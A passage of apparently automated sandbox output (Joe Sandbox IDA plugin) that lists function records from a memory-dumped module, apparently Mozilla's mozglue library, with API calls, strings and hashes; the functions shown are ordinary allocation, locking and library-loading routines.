Part of subcall function 6C58FA80: AcquireSRWLockExclusive.KERNEL32(6C5DF448), ref: 6C58FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C59653F
free.MOZGLUE(?), ref: 6C59655A

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 3cbcb2efd4d1415ae20ff951309ac8f2463d7664b0e2edf7f7d579154f90e14c
Instruction ID: 08f9d64774b24856be02c9a8f92ce8b09006e10c57eaf737743e0c267779fbda
Opcode Fuzzy Hash: 3cbcb2efd4d1415ae20ff951309ac8f2463d7664b0e2edf7f7d579154f90e14c
Instruction Fuzzy Hash: 973170B5A04345AFCB40CF15DC8469AB7E4FFC8314F40482EE85A87751EB30E919CB92

Function 6C58FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C5AD019,?,?,?,?,?,00000000,?,6C59DA31,00100000,?), ref: 6C58FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C5AD019,?,?,?,?,?,00000000,?,6C59DA31,00100000,?,?), ref: 6C58FFF5
free.MOZGLUE(?,?,?,?,?,6C5AD019,?,?,?,?,?,00000000,?,6C59DA31,00100000,?), ref: 6C59001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C5AD019,?,?,?,?,?,00000000,?,6C59DA31,00100000,?,?), ref: 6C59002A

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 18924f21223462f0ee68f28b6b094b69e8ef6e1d9f19bbf9d0c4808593b1fd24
Instruction ID: d94431efa6f802cdc22a9ce338080b7f6abffa8767993ae053e6ba4c19a20bd3
Opcode Fuzzy Hash: 18924f21223462f0ee68f28b6b094b69e8ef6e1d9f19bbf9d0c4808593b1fd24
Instruction Fuzzy Hash: 7621D6B2B002159BD718DE789C948AFB7BAFBC93247250738E425D7780EB70AD0187E1

Function 6C56B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C56B4F5
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C56B502
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C56B542
free.MOZGLUE(?), ref: 6C56B578

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 5376bb661840fb5d5cb410d053abf342e950b9b572971637a6c2b699ecdbb7ca
Instruction ID: adbb0cb2a7b76f0f15a939bf45c3e0e3ea7071624a4b709ac91f03226091a115
Opcode Fuzzy Hash: 5376bb661840fb5d5cb410d053abf342e950b9b572971637a6c2b699ecdbb7ca
Instruction Fuzzy Hash: 2A11AC30A04B41C7D7219F2ADC007A1B3B1FFA6319F15970AE84953E12FBB1B5C48799

Function 6C593DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C55F20E,?), ref: 6C593DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C55F20E,00000000,?), ref: 6C593DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C593E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C593E0E

Part of subcall function 6C58CC00: GetCurrentProcess.KERNEL32(?,?,6C5531A7), ref: 6C58CC0D
Part of subcall function 6C58CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5531A7), ref: 6C58CC16

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: d2f626a7db502332ea24d5dfc86db0f1bdc3bca991948930c27561e1c1da6139
Instruction ID: b1d8dfdd83572b86d1ae8ec3677c5f031d760166fc628c1c1b6a63dacc72862b
Opcode Fuzzy Hash: d2f626a7db502332ea24d5dfc86db0f1bdc3bca991948930c27561e1c1da6139
Instruction Fuzzy Hash: 4BF01271600318BBDB00AB54DC81DAB376DDF86624F050024FD0857741D735BE5596FB

Function 6C5A2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5A205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C5A201B,?,?,?,?,?,?,?,6C5A1F8F,?,?), ref: 6C5A2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5A208E
free.MOZGLUE(?,?,?,00000000,?,6C5A201B,?,?,?,?,?,?,?,6C5A1F8F,?,?), ref: 6C5A20A3

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 1f5a30f321308a5024bccb4153060f5f69fb503d667f44e51c5f2307202e8c05
Instruction ID: 5d5e370020f2cc613e13f5fb4fa8440e628555d8cd7d69875afb2aab906cd27e
Opcode Fuzzy Hash: 1f5a30f321308a5024bccb4153060f5f69fb503d667f44e51c5f2307202e8c05
Instruction Fuzzy Hash: 19F090B11007009BC7219F17DC8875BBBF9EF8A324F11051AE54A87B10CB72A8068B9A

Function 6C5A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5A85D3

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C5A8725

Strings

map/set<T> too long, xrefs: 6C5A8720

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 6d1971096aba9b35a832647c0f80d5aa92d033219ccd1636d3449ba50843818d
Instruction ID: 0635075bc08ce863f4152e7731b53c456d0f17fd2b8f076d2273caae2db3c955
Opcode Fuzzy Hash: 6d1971096aba9b35a832647c0f80d5aa92d033219ccd1636d3449ba50843818d
Instruction Fuzzy Hash: 70515574A00681CFE701CF5AC984A59BBF1BF99318F18C19AD8595BB62C335EC46CF92

Function 6C55BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C55BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C55BE8F

Strings

0, xrefs: 6C55BE5B

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: bcbb2aa5519384d93e29c85bc9118363e5069803911bed7818107a20f309d07d
Instruction ID: 0f934d5e308287501360a7af173f88ced6e19ade72cc747588e5898ad7ef0012
Opcode Fuzzy Hash: bcbb2aa5519384d93e29c85bc9118363e5069803911bed7818107a20f309d07d
Instruction Fuzzy Hash: 2141B171A09745CFC701DF38C885A9BB7F4AF8A348F444A1EF985A7611D730E969CB82

Function 6C593CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C593D19
mozalloc_abort.MOZGLUE(?), ref: 6C593D6C

Strings

d, xrefs: 6C593D58

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: aa6c8148227811525b0a10d2dbf4bbc6544e839ea2461580e32373ff54957020
Instruction ID: 6b81c331ec5e38b64c2efe4dcf15623995f9cb0473e62211668fd50820a462a3
Opcode Fuzzy Hash: aa6c8148227811525b0a10d2dbf4bbc6544e839ea2461580e32373ff54957020
Instruction Fuzzy Hash: 4911C435E047C8DBDF019B69CC244EEB775EF86258B458259DC499B622FB30AAC4C394

Function 6C564730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5644B2,6C5DE21C,6C5DF7F8), ref: 6C56473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C56474A

Strings

GetNtLoaderAPI, xrefs: 6C564744

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 07c114477763517e149d49ee462c2bc9e5476e1a7411a12fbcf46773a2fd571f
Instruction ID: 6fcf1b184128931c6dd992c1d70fb05a613836f09cb65aaee056778e2e413789
Opcode Fuzzy Hash: 07c114477763517e149d49ee462c2bc9e5476e1a7411a12fbcf46773a2fd571f
Instruction Fuzzy Hash: 430156757013549FDF00AF668C5461DB7F9EB8B311B06446AE905C7710DB74E8018F99

Function 6C5B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C5B6E22
__Init_thread_footer.LIBCMT ref: 6C5B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C5B6E1D

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: e3544dacbfb1a4d0693aae22c946c4d93004b247f61fc0980cd91b05e0521ef7
Instruction ID: f95ddc15e3a978ca446acaefe9828bf40b90929e374876602081ddc149fbae83
Opcode Fuzzy Hash: e3544dacbfb1a4d0693aae22c946c4d93004b247f61fc0980cd91b05e0521ef7
Instruction Fuzzy Hash: A8F02E30205340CBDA008B68CC71A967BB29343218F0A0265F80196FA1CB31BA06CB9F

Function 6C569E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C569EEF

Strings

NaN, xrefs: 6C569EC1
Infinity, xrefs: 6C569EB7

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 076ae1b4ea7b001b9941c484a90e4dfa4ca48114e70060039736ed7854b4d05e
Instruction ID: 42119be6c1e6425add3713a325db1510deea6b4ca237aff45535cdc4575fa2ba
Opcode Fuzzy Hash: 076ae1b4ea7b001b9941c484a90e4dfa4ca48114e70060039736ed7854b4d05e
Instruction Fuzzy Hash: 02F06D71602742CBDB00EF58DC46B9133F1B747719F260B19C5040AF90D7757A46CA8E

Function 6C566C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KYl,?,6C594B30,80000000,?,6C594AB7,?,6C5543CF,?,6C5542D2), ref: 6C566C42

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

moz_xmalloc.MOZGLUE(0KYl,?,6C594B30,80000000,?,6C594AB7,?,6C5543CF,?,6C5542D2), ref: 6C566C58

Strings

0KYl, xrefs: 6C566C33, 6C566C41, 6C566C57

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KYl
API String ID: 1967447596-2195558130
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: eccac64791171774d4256c49bb76ae09cccd598a4b4eb8519ba767f86af883ad
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: CFE086F1A10B454BEF08D97A9C0956A71C8CB742AC7044B35E822C6FE8FF74E9908151

Function 6C563850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C5DF860), ref: 6C56385C
ReleaseSRWLockExclusive.KERNEL32(6C5DF860,?), ref: 6C563871

Strings

,]l, xrefs: 6C56387A

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,]l
API String ID: 17069307-2829977861
Opcode ID: 2d71b00116c513ecfc808437ded988290fd7db1723fa2af9f8b40c9840420e5f
Instruction ID: 4c7074c5c61886f985460ffa3b78c04c075327cbc9eaac2d97b6b07ff1027cc4
Opcode Fuzzy Hash: 2d71b00116c513ecfc808437ded988290fd7db1723fa2af9f8b40c9840420e5f
Instruction Fuzzy Hash: 06E04F32946B5997C711AF9B9C056CA7BB9EF4769030B8609E40A17E10CB71F58087DE

Function 6C56BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C56BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C56BEF5

Strings

cryptbase.dll, xrefs: 6C56BEF0

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4d03800ad53283f1c64a726be1af3bd83afd0d71ebab07820552cc114d721da8
Instruction ID: ac240ee984525a83898967a4507dd721e8dd9394944f00dba3b4930e645db59c
Opcode Fuzzy Hash: 4d03800ad53283f1c64a726be1af3bd83afd0d71ebab07820552cc114d721da8
Instruction Fuzzy Hash: 93D0A731180308E6CA00BB518C05B153775D702715F10C020F30544D61C7B1B810DB4C

Function 6C5AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C5AB2C9,?,?,?,6C5AB127,?,?,?,?,?,?,?,?,?,6C5AAE52), ref: 6C5AB628

Part of subcall function 6C5A90E0: free.MOZGLUE(?,00000000,?,?,6C5ADEDB), ref: 6C5A90FF
Part of subcall function 6C5A90E0: free.MOZGLUE(?,00000000,?,?,6C5ADEDB), ref: 6C5A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5AB2C9,?,?,?,6C5AB127,?,?,?,?,?,?,?,?,?,6C5AAE52), ref: 6C5AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C5AB2C9,?,?,?,6C5AB127,?,?,?,?,?,?,?,?,?,6C5AAE52), ref: 6C5AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C5AB127,?,?,?,?,?,?,?,?), ref: 6C5AB74D

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 73a2c06cb5992569fff1f22889c719312ea8414707a6af21db886aa4dac1bc77
Instruction ID: bc67b624a7578c3ea0467f6e7ba5174858b4d652cd3da29ba71e5035bcea7717
Opcode Fuzzy Hash: 73a2c06cb5992569fff1f22889c719312ea8414707a6af21db886aa4dac1bc77
Instruction Fuzzy Hash: 5E51CD71A0131A8BDB14DF9ACD8066EBBB1FF85304F45852DC85AAB710D771A806CBE1

Function 6C5ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C59FF2A), ref: 6C5ADFFD

Part of subcall function 6C5A90E0: free.MOZGLUE(?,00000000,?,?,6C5ADEDB), ref: 6C5A90FF
Part of subcall function 6C5A90E0: free.MOZGLUE(?,00000000,?,?,6C5ADEDB), ref: 6C5A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C59FF2A), ref: 6C5AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C59FF2A), ref: 6C5AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C59FF2A), ref: 6C5AE0FE

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b4d573d51ff7c3e0e03d8e3e33548dd088e8780936f5e6a4a8ba4ea4cc1dfc8b
Instruction ID: 7ad9fefa95d76b8b0846d954956f80c098896303e5532593e806914e03526f4a
Opcode Fuzzy Hash: b4d573d51ff7c3e0e03d8e3e33548dd088e8780936f5e6a4a8ba4ea4cc1dfc8b
Instruction Fuzzy Hash: 5841C0B16042168FEB14CFAADC9035E73F2BB45308F15492DD516DB740E7B2E926CB92

Function 6C5A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C5A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C5A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5A6F5C

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 685505d48e0b5554148294845209d961c16a69aadb6690411ce77cd9eeece8c6
Instruction ID: 2ea23dd55b3159b517bd0da4e79a6a57c4b4555a9498667409f48ea295b02608
Opcode Fuzzy Hash: 685505d48e0b5554148294845209d961c16a69aadb6690411ce77cd9eeece8c6
Instruction Fuzzy Hash: 07310271A1060A8FDB04CF6DDC806AE73E9EB84304F508639D42AC7655EF31E65ACBA1

Function 6C5BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C560A4D), ref: 6C5BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C560A4D), ref: 6C5BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C560A4D), ref: 6C5BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C560A4D), ref: 6C5BB67F

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 5cec9a3a6c83212acd2ff4b0fca8ae605d8f8c9a7e86cc0388f34f2449e67388
